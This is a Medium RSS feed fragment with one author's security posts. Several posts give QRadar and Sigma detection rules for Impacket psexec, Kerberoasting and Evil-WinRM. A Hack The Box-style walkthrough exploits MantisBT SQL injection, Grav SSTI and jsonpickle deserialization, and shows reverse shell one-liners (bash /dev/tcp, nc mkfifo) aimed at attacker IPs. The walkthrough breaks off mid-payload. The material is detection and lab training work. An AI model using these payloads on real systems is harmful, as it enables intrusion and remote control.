Impacket&#39;s psexec.py<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID (custom) is any of 4697<br>and when the event matches Service Filename (custom) matches any of expressions %systemroot%\\[a-zA-Z]{8}\.exe<br>and when the event matches Service Start Type (custom) is any of 3<br>and when the event matches Service Type (custom) is any of 0x10<br>and when the event matches Service Name (custom) matches any of expressions ^[a-zA-Z]{4}$</pre><p><strong>Sigma Rule:</strong></p><pre>title: PsExec Impacket Execution<br>id: 6edbf34a-a28b-4caf-883b-6622bbac2dfc<br>status: stable<br>description: detect psexec.py impacket<br>references:<br>    - https://github.com/fortra/impacket/blob/master/examples/psexec.py<br>author: Rohit Jain<br>date: 2024/04/29<br>tags:<br>    - attack.lateral_movement<br>logsource:<br>    product: windows<br>    service: windows<br>detection:<br>    event ID: 4697<br>    selection:<br>        ServiceFilename|contains:<br>            - &#39;%systemroot%\\[a-zA-Z]{8}\.exe&#39;<br>        Service Start Type|contains:<br>            - 3<br>        Service Type|contains:<br>            - &#39;0x10&#39;<br>        Service Name|contains:<br>            - &#39;^[a-zA-Z]{4}$&#39;<br>    condition: selection<br>false positives:<br>    - N/A<br>level: high</pre><h3>Method 2:</h3><p>Detecting Impacket psexec.py via Event ID 5145.</p><p><em>What is RemCom: RemCom is a small (10KB upx packed) remote shell/ telnet replacement that lets you execute processes on remote Windows systems, copy files on remote systems, process their output and stream it back. It allows the execution of remote shell commands directly with a full interactive console without having to install any client software. On local machines it is also able to impersonate so can be used as a silent replacement for the Runas command.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*yTIfKCIV2a1AMmBQxfgCWA.png" /><figcaption>QRadar Logs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*o0mAsN2Quth5IdARjWpX4Q.png" /><figcaption>Qradar alert genrated</figcaption></figure><p><strong>Qradar Detection Rule:-</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*-S2axoNLNtK5v0DVWmL6Gw.png" /></figure><pre>Detects usage of Impacket psexec.py<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID (custom) is any of 5145<br>and when the event matches Relative Target Name (custom) matches any of expressions (?i)remcom_std[err|in|out].*<br>and when the event matches Share Name (custom) is any of IPC$</pre><p><strong>Sigma Rule:</strong></p><pre>title: PsExec Impacket Execution<br>id: c0ab01f8-91ba-4a43-920d-de5637ab8fb5<br>status: experimental<br>description: detect psexec.py impacket<br>author: Rohit Jain<br>date: 2024/04/29<br>tags:<br>    - attack.lateral_movement<br>logsource:<br>    product: windows<br>    category: process_access<br>detection:<br>    event ID: 5145<br>    selection:<br>        Relative Target Name|contains:<br>            - (?i)remcom_std[err|in|out].*<br>        Share Name|contains:<br>            - IPC$<br>    condition: selection<br>falsepositives:<br>    - N/A<br>level: high</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0339c5f0a7be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Kerberoasting using GetUserSPNs.py]]></title>
            <link>https://medium.com/@cY83rR0H1t/detecting-kerberoasting-using-getuserspns-py-bf33c084c530?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf33c084c530</guid>
            <category><![CDATA[kerberos-authentication]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Tue, 16 Apr 2024 09:26:01 GMT</pubDate>
            <atom:updated>2024-04-16T09:26:01.235Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*r9ovbdePespxhh2CnbdRIQ.png" /></figure><p>In Active Directory, Service Principal Names (SPNs) are used to identify services and applications. These SPNs are registered to user or computer accounts designated as service accounts. These accounts are exclusively utilized for running services and applications within the Active Directory environment.</p><p>The script GetUserSPNs.py can be utilized to fetch a password hash for user accounts linked to a Service Principal Name (SPN). When an SPN is configured on a user account, it enables the request of a Service Ticket for that account. This ticket can then be analyzed in an attempt to crack it and recover the user’s password.</p><h4>Enumerating the SPNs</h4><p>Kerberoasting attack is to enumerate the <strong>servicePrincipalNames </strong>(SPNs) associated with user or computer accounts in the target domain.</p><p>Impacket’s GetUserSPNs.py will attempt to fetch Service Principal Names that are associated with normal user accounts.<br>python3 GetUserSPNs.py test.local/username:password123 -dc-ip 10.10.10.1 -request -outputfile hashses.kerberoast</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CkEkc1j8K-tr6VeEpx-iDQ.png" /></figure><h4>Cracking hash</h4><p>hashcat -m 13100 -force -a 0 hashes.kerberoast password.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*O_C2x7ChN_YJcHNuzR_GoQ.png" /></figure><h4>Logs captured in QRadar:-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*rOr8COVKLOa2DLHy2aSf0g.png" /></figure><p>Raw payload Info:</p><pre>AgentDevice=WindowsLog <br>AgentLogFile=Security <br>PluginVersion=7.3.1.28 <br>Source=Microsoft-Windows-Security-Auditing <br>Computer=xxxx.local <br>OriginatingComputer=10.xx.xx.x <br>User= <br>Domain= <br>EventID=4769 <br>EventIDCode=4769 <br>EventType=8 <br>EventCategory=14337 <br>RecordNumber=17796004 <br>TimeGenerated=17132285749 <br>TimeWritten=1757895749 <br>Level=Log Always <br>Keywords=Audit Success <br>Task=SE_ADT_ACCOUNTLOGON_KERBEROS <br>Opcode=Info <br>Message= A Kerberos service ticket was requested.<br> <br>Account Information:  <br>Account Name:  soc_rohitj@Domain.LOCAL  <br>Account Domain:  Domain.LOCAL  <br>Logon GUID:  {xxxxx-8005-xxx-9475-xxxxxd7ff9cc}  <br><br>Service Information:  <br>Service Name:  userspntest  <br>Service ID:  ROHIT\userspntest  <br>Network Information:  <br>Client Address:  ::ffff:10.xx.xx.x  <br>Client Port:  53294  <br><br>Additional Information:  <br>Ticket Options:  0x40810010  <br>Ticket Encryption Type: 0x17  <br>Failure Code:  0x0 <br>Transited Services: -  <br><br>This event is generated every time access is requested to a resource such as a computer or a Windows service.  <br>The service name indicates the resource to which access was requested.  <br>This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  <br>The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.  <br>Ticket options, encryption types, and failure codes are defined in RFC 4120.</pre><h4>Detection Idea:-</h4><p>Here are a few fields to detect kerberoasting attacks:</p><pre>1. Monitor Event ID 4769.<br>2. Ticket options is 0x40810010 (this is the default option used by the GetUserSPNs.py tool in the impacket suite.<br>3. Ticket Encryption Type 0x17. (eType 18 (0x12) is AES-256, and eType 23 (0x17) is RC4)<br>4. Service name doesn&#39;t contain krbtgt or $.<br>5. Status is 0x0.<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*tiR83lXkG7Haw9zwqRjICg.png" /></figure><p><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769">4769(S, F) A Kerberos service ticket was requested. - Windows 10</a></p><h4>QRadar Detection Rule + Alert generated:-</h4><pre><br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID (custom) is any of 4769<br>and when the event matches Service Name (custom) does not match any of expressions [(?i)krbtgt or .*\$]<br>and when the event matches Ticket Encryption Type (custom) is any of 0x17<br>and when the event matches Status Code (custom) is any of 0x0<br>and when the event matches Ticket Options (custom) is any of 0x40810010</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*s17Yck70EiQQKXX8peKKqw.png" /></figure><h4>Sigma Rule:-</h4><pre>title: Kerberos spn request using GetUserSPNs.py script<br>id: 9e2a3e39-6fad-45db-8085-0a12fca532b4<br>status: test<br>references:<br>    - https://trustedsec.com/blog/the-art-of-bypassing-kerberoast-detections-with-orpheus<br>    - https://trustedsec.com/blog/art_of_kerberoast<br>author: Rohit J<br>date: 2024/04/16<br>tags:<br>    - attack.Credential_Access<br>    - attack.Steal or Forge_Kerberos_Tickets<br>logsource:<br>    product: windows<br>    service: windows<br>    category: process_access<br>detection:<br>    event id: 4769<br>    selection 1:<br>        Service Name|contains: (?i)krbtgt or .*\$<br>    selection 2:<br>        Ticket Encryption Type: 0x17<br>        Status Code: 0x0<br>        Ticket Options: 0x40810010<br>condition: selection 2 and not selection 1<br>falsepositives:<br>    - N/A<br>level: medium</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf33c084c530" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Evil-Winrm Detection]]></title>
            <link>https://medium.com/@cY83rR0H1t/evil-winrm-detection-de2874af7eb0?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/de2874af7eb0</guid>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Tue, 27 Feb 2024 10:01:16 GMT</pubDate>
            <atom:updated>2024-02-27T16:05:34.492Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Objectives:<br></strong>Gain a basic understanding of the initial steps involved in investigating a system using the Windows Remote Management (WinRM) protocol.</p><p><strong>Steps:<br></strong>1. <strong>Port Identification</strong>: Evil-WinRM typically targets systems using a specific port, commonly 5985 for HTTP or 5986 for HTTPS.</p><p>2. <strong>Authentication</strong>: After identifying the port, Evil-WinRM attempts to authenticate with the target Windows system using the provided credentials. This includes options like IP, username and password.</p><p>3. <strong>Session Establishment: </strong>Upon successful authentication, Evil-WinRM initiates a Remote PowerShell session with the target system. This established connection allows for further interaction and potential exploitation activities.</p><p>Using NMAP to identify the open port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*5pHXZFB3od7k2muDp1xOHA.png" /></figure><p>The observation of an exposed port 5985 presents an elevated risk for attackers to leverage the Windows Remote Management (WinRM) service for potential remote code execution (RCE) attacks.</p><p>Using Evil-winrm in Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*u5xtqtdfuOatxGUzfLdtUA.png" /></figure><p>Triggered Event ID 4103 and 800.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*i_2L3sidc5DFhdz3zrEu4w.png" /><figcaption>Event ID 4103</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*hh-51NbcxTAjBuVF4_DjIQ.png" /><figcaption>Event ID 800</figcaption></figure><p>Testing Event ID with the wrong command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iHLgLbRPAJxoGi56CZF0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*s-xYF9ANF22uCXgVR_l8-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*LMGk_fMRb5ZzBdHBRKYl0Q.png" /></figure><p>QRadar detection rule:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*_u8fZEKAUwtpKLkKubtEUQ.png" /><figcaption>QRadar Rule</figcaption></figure><p>Generated an alert on the QRadar console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GRkrr_ZfEAOc7uKr2QVfWQ.png" /><figcaption>Rule Triggered</figcaption></figure><p>Sigma Rule:</p><pre>title: Hacktool Evil-Winrm Tool<br>id: b1d34cd1-5c5d-481d-821d-4e17d8b73fa1<br>status: Experimental<br>description: Suspicious usage of Evil-Winrm detection using PowerShell event.<br>author: Rohit Jain<br>date: 2024/02/25<br>tags:<br>    - attack.initial_access<br>logsource:<br>    product: windows<br>    category: ps_module<br>detection:<br>    event id: 4103<br>    selection:<br>        Payload|Message|contains|all:<br>            - Invoke-Expression<br>            - (get-location).path<br>            - CommandInvocation(Out-String)<br>            - ParameterBinding(Out-Default)<br>            - value=(\&quot;C:\\Users\\(.{1,})\\Documents\&quot;)<br>            - C:\Windows\system32\wsmprovhost.exe<br>    condition: selection<br>falsepositives:<br>    - N/A<br>level: Medium</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de2874af7eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GravTrack - Hack The Box Rejected]]></title>
            <link>https://medium.com/@cY83rR0H1t/gravtrack-hack-the-box-rejected-451345bb0db3?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/451345bb0db3</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[machine]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Tue, 05 Sep 2023 19:04:03 GMT</pubDate>
            <atom:updated>2024-08-13T09:15:30.275Z</atom:updated>
            <content:encoded><![CDATA[<p>In the last 2 months, my 2 machines were rejected by Hack The Box. This is my machine GravTrack which was rejected by Hack the Box. Now, I find myself here, writing about my experiences with GravTrack and the lessons I’ve learned along the way. In this blog post, I want to take you on a journey through my experience with this particular Hack The Box rejected machine.</p><h3>Introduction</h3><p>In this write-up, I will be discussing the approach, and technique to tackling the “GravTrack” machine. I wanted to highlight a few exploits in this machine: web application security and Privilege Escalation. Throughout the box, you will encounter a few vulnerabilities. For the initial access such as SQL Injection in the API SOAP (CVE-2020–28413) and Authenticated SSTI injection (CVE-2021- 29440). After that, the Json Pickle Remote code execution exploits will help you to escalate to the high-privilege account. For the privilege escalation, we will exploit misconfiguration using Git Shell Bypass By Abusing Less(CVE-2017–8386).</p><h3>Enumeration</h3><p>We have added the gravtrack.htb in the/etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*qL0hv0Q0FrYMDPYECX0Rxw.png" /></figure><p>In the nmap we have found 4 open ports 21, 80, 5005, 8888</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*fm0VG0N59EM1wyk5u5diNQ.png" /></figure><p>Enumerated with gobuster on port 80. We found a directory of admin and login.<br><strong><em>Command:</em></strong><em> </em>— $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <a href="http://gravtrack.htb/">http://gravtrack.htb</a> -s 200 -b “”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WH1o5jVXN9f2dcUaRvXupw.png" /></figure><p>On port 5005 we have an admin directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rwVSLfArRGAxGgN9jDMJUw.png" /></figure><p>Nothing on port 8888 result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xPI3bbVwQkm68arAW18xcw.png" /></figure><p>Visiting ports 80, 5005, and 8888. <br>On port 80 we have a grav login page. We don’t have a credential to log in. So, we can’t do anything without a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*NXV_d3j5d8BYksBBEXzoYQ.png" /></figure><p>On port 8888 we have a login page. This is just a fake page/rabbit hole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*g4-JCEFFiF4pX30uKpH0NQ.png" /></figure><p>On port 5005 we got an admin directory. When we open the browser, it asks for the password. We don’t have a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1UqNasqPIkcB3uuTNx90GQ.png" /></figure><p>If we give the wrong password. We will see the Authentication failed error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*cW3Hzd_kRVBXAXhSztaBug.png" /></figure><p>Capture the request in the burp suite and then forward the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*nK7cQHWZLesDrYZ3mc1kCg.png" /></figure><p>The realm parameter is a string that provides a description or identifier for the protected area or resource on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ra1KDfhJCb0NCIDRXR9bXA.png" /></figure><p>Let’s put cac-move in our get request. We will get the original path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qGad5ybIKw9K6GpTi8RxnA.png" /></figure><p>Let’s open this path <a href="http://gravtrack.htb:8888/mantisCMS">http://gravtrack.htb:8888/mantisCMS</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blXJ_o-xjMS9VWXxBYH6DA.png" /></figure><p>Checked on Google MantisBT default creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*ZY3RKyTG8HGvRCvxgcj3VQ.png" /></figure><p>Used it and got a login. Here we have a few bug reports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZOnFzotuvdMgAu6ZMqG2AQ.png" /></figure><p>Read all the reports and found one that was submitted by a Larissa user. This is the hint once we get the Larissa user shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJTr0DBhhFatORqM5NPp4g.png" /></figure><p>We enumerated and found version 2.24.3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pF2gX3Fwxthu2_Eq_anKCA.png" /></figure><p>We searched on Google and found an exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRdZZdcXG03Owr66P195dQ.png" /></figure><h4>Foothold</h4><p>We read the exploit and found that there is a SQL Injection vulnerability in the parameter “access” on the mc_project_get_users function through the API SOAP. Path of the API:- /api/soap/mantisconnect.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EvhVE55gidFndGeatB6GtA.png" /></figure><p>Reference: <br><a href="https://www.exploit-db.com/exploits/49340"><em>https://www.exploit-db.com/exploits/49340</em></a><em><br></em><a href="https://ethicalhcop.medium.com/cve-2020-28413-blind-sql-injection-en-mantis-bug-tracker-2-24-3-api-soap-54238f8e046d"><em>https://ethicalhcop.medium.com/cve-2020-28413-blind-sql-injection-en-mantis-bug-tracker-2-24-3-api-soap-54238f8e046d</em></a></p><p>After visiting the page. We got a blank page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*g6wnlZT-8mrEnK9PkA4roQ.png" /></figure><p>Check the GitHub MantisBT official page for the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*SK922jgbZIn0qB3DBnGxUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*vC-yCWNNkgLRKQZpxo7OIg.png" /></figure><p>The vulnerability was present in the mc_project_get_users functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*JVdDyKWpTJvXeS2fVy4i1Q.png" /></figure><p>Now download the mantisconnect.wsdl file and open it in the SoapUI tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ADfNTuxzKWrm_AzLx-updg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*iHBb25GY8zGUn8Wcsx2rFA.png" /></figure><p>The project is loaded successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*YNL4mgz0dt0VZVKCtkzpPA.png" /></figure><p>Now navigate to the mc_project_get_users. Double-click on the Request and it will open in a new tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*zPiPKI0-CX30K7KX-GENkA.png" /></figure><p>According to the exploit we have to open the mc_project_get_users function and insert “username”, “password”, “project_id” could be 0 and “access” let it empty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*kpVLvknnXt57LDScVgxbRA.png" /></figure><p>I am using Burp also to see the request response. To configure Burp with SOAP. <br>Here is the link: — <a href="https://bug-rider.medium.com/soapui-configuration-with-burpsuite-b082dadec5dc">https://bug-rider.medium.com/soapui-configuration-with-burpsuite-b082dadec5dc</a></p><p>I have enabled the proxy in the SOAPUI tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*kVmOod4EYY0LHKVAjFGfOA.png" /></figure><p>Hit the request and capture it in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0TW_ZmjypvX_6C9h_gBew.png" /></figure><p>We will get 500 Internal Server Error. Which is normal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ia5RfugC9mCdFQvhVso1kQ.png" /></figure><p>Now change the username, password, and project ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtV2Qs0w7Y7mucCdAkykZg.png" /></figure><p>When sending the “ access “ parameter without any value, the system returns an SQL error message telling us that there is an error in the syntax and returns the entire SQL command with the table name. It is confirmed that there is SQL injection is possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*USBqcstCshd7HgdwOJkaYg.png" /></figure><p>If we put the access value to 1 or anything. In the response, we can see the Usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ehuAlKBvPM2XiTgGXDiMQ.png" /></figure><p>I used a Python script to exploit this SQL injection. Done 3 changes in the script. Username, Password, and Home.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zT_j3p3fHtO8s2Kyc1WR3w.png" /></figure><p><strong>Reference:</strong> <br><a href="https://github.com/EthicalHCOP/CVE-2020-28413_Mantis2.24.3-SQLi-SOAP/blob/master/CVE-2020-28413.py">https://github.com/EthicalHCOP/CVE-2020-28413_Mantis2.24.3-SQLi-SOAP/blob/master/CVE-2020-28413.py</a></p><p>Now run the script and grab the hashes. <br><strong><em>Command:</em></strong> — $ python .\mantissql.py — proxy=http://127.0.0.1:8080</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*wI7ose9fxMxQ2OVEa5jlhQ.png" /></figure><p>Only administrator hash we can crack by Rockyou list. Rest all hashes can’t be cracked by John or hashcat. We can check the hashes on Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g56hwowgafTD_7ReXslkKQ.png" /></figure><p>User Admin, Sahil, and Larissa’s hash passwords are available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*a7U3UowiODuI5xCdlrNF9g.png" /></figure><p><strong><em>Reference: — </em></strong><br><a href="https://gist.github.com/lambasoft/46966797d3aeb247bf9d">https://gist.github.com/lambasoft/46966797d3aeb247bf9d</a></p><p>We got the Grav page on port 80. We can log in on that page using Larissa’s password.</p><p>Username: larissa <br>Password: !@#Admin911 <br>We can see the version of this CMS is 1.7.10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vI4SoWcoZTCGyuBqlk-dwg.png" /></figure><p>We found an exploit i.e., Grav CMS 1.7.10 — Server-Side Template Injection (CVE-2021–29440) lead to RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_nXVSg70zVMuc5PDAL0gw.png" /></figure><p>Note: — I have given page creation permission to Larissa User. The admin user name is “cyberrohit”.</p><p><strong><em>Reference: —<br></em></strong> <a href="https://github.com/CsEnox/CVE-2021-29440">https://github.com/CsEnox/CVE-2021-29440</a></p><p>I have used the GitHub script to exploit this version. We can do it manually and with Python script. <br><strong>Method 1: </strong>Python script <br>Change the username, password, and URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*BIvxk-elmy-x2hreutv4mg.png" /></figure><p><strong><em>Command: —</em></strong> $python3 grav.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*SNtiSpzewCK6oL9GbdODfA.png" /></figure><p>We are in a non-interactive shell. We have to send .sh script to take a proper shell. <br>bash -i &gt;&amp; /dev/tcp/10.10.75.129/443 0&gt;&amp;1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*qWWgIkGd0qTeh1aP4v8-sw.png" /></figure><p>Send the script into the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fuNf0Mg1cs66oSa4CiaNlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-OqEMZyW-y1NkcnDt_OvA.png" /></figure><p><strong>Method 2:</strong> Manually taking a shell <br>Go to the pages option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*e7G1nXqiPFReclOt5CSIlg.png" /></figure><p>Create a page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*sx3FvH1ad3gauyOpLLd2eQ.png" /></figure><p>In the Advanced tab, we can see a few options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GY7zQKCIm4ZFBbPSHcBC_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*7lyP0pA5vgqGuAaOBEEXeQ.png" /></figure><p>Go to the page and try the SSTI injection payload. <br>{{ system(‘id’) }}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dH3YAMd9Y6r3zMjjgj3I1w.png" /></figure><p>To run this, we need to click an eye button. We got our SSTI injection successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WoqqK4pziynnMIUUa7fp4Q.png" /></figure><p>Take a reverse shell from here. <br><strong><em>Command: —</em></strong> {{ system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.75.129 443 &gt;/tmp/f’) }}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*08wWleh1Dl8x9C-H9vatMw.png" /></figure><h3>Lateral Movement</h3><p>Run the linpeas to check for the next step. We can see that Flask is running on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YflSgl4wGJowj0gmmTh2mw.png" /></figure><p>To confirm, we can see port 5000 running on localhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*Gln9TtuDCgiE_Ui5CvIYIw.png" /></figure><p>The vulnerability in the provided code lies in the way user information is stored and retrieved from cookies. Specifically, the vulnerability is related to the usage of the jsonpickle library for the serialization and deserialization of user objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*fk3ZwwFsaN4cT4n2Jetx7Q.png" /></figure><p>The vulnerability in the provided code lies in the way it handles cookie data and performs deserialization. Specifically, the vulnerability is related to the following lines of code: <br>encoded_user = request.cookies.get(“username”) <br>decoded_user = jsonpickle.decode(base64.b64decode(encoded_user))</p><p>The code deserializes the cookie value retrieved from the “username” cookie using the jsonpickle.decode() function. Deserialization of untrusted data can potentially lead to security issues, such as deserialization attacks or remote code execution if the deserialized data is not properly validated.</p><p><strong><em>Reference:- </em></strong><br><a href="https://www.vicarius.io/blog/research-exploiting-jsonpickle-to-get-rce">https://www.vicarius.io/blog/research-exploiting-jsonpickle-to-get-rce</a> <a href="https://medium.com/@0xbughunter/de-serialization-sometimes-pickle-can-be-too-sour-45c930e18b8e">https://medium.com/@0xbughunter/de-serialization-sometimes-pickle-can-be-too-sour-45c930e18b8e</a> <br><a href="https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/">https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/</a></p><p>Let’s check what is running on port 5000. Sets up a TCP listener on port 5001 that forwards incoming connections to localhost port 5000.</p><p><strong><em>Command: — </em></strong>$ socat TCP-LISTEN:5001,fork,reuseaddr tcp:127.0.0.1:5000 &amp;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFHV9JM1OnLv2r2bV4BxDA.png" /></figure><p>We opened port 5001 in the browser and it redirected to the whoami page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Md2c3Hnn53oC2uc2Zm3saQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAIYxgEWL8tc6OMLORfqJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WniGxnkwYrfu2Ubzes-Ig.png" /></figure><p>We can manipulate the value of the username cookie. Let’s craft the malicious payload. We will check the id command first. <br>{“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“id”]], “username”: “GravTrack”}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*M6g6pMKFc4cUAauftqXsBw.png" /></figure><p>Encode into base64 and forward the request. After forwarding the request we can’t see the out in the burp. In the response, we got 200 ok. It means the command was executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-6-FJ3RHLB42pYrVq3PJw.png" /></figure><p>We can see the output running below the command. <br><strong><em>Command: —</em></strong> $ sudo /bin/systemctl statusflaskrest.service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*ec1t3w3j4iJVZWY5LOjhYQ.png" /></figure><p>We got the output of the id command. Let’s try the <strong><em>hostname</em></strong> command and the <strong><em>whoami</em></strong> command. <br>{“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“hostname”]], “username”: “GravTrack”}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*lTvr6kl7mB9Tu2jsUpwYOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAdjBE0H3obEaeLtt8uG2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abOIDyEQcaWh7HyUurFi6A.png" /></figure><p><strong><em>Payload —</em></strong> {“py/object”:” main .Shell”, “py/reduce”:[{“py/function”:”os.system”},[“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 192.168.234.128 443 &gt;/tmp/f”]], “username”: 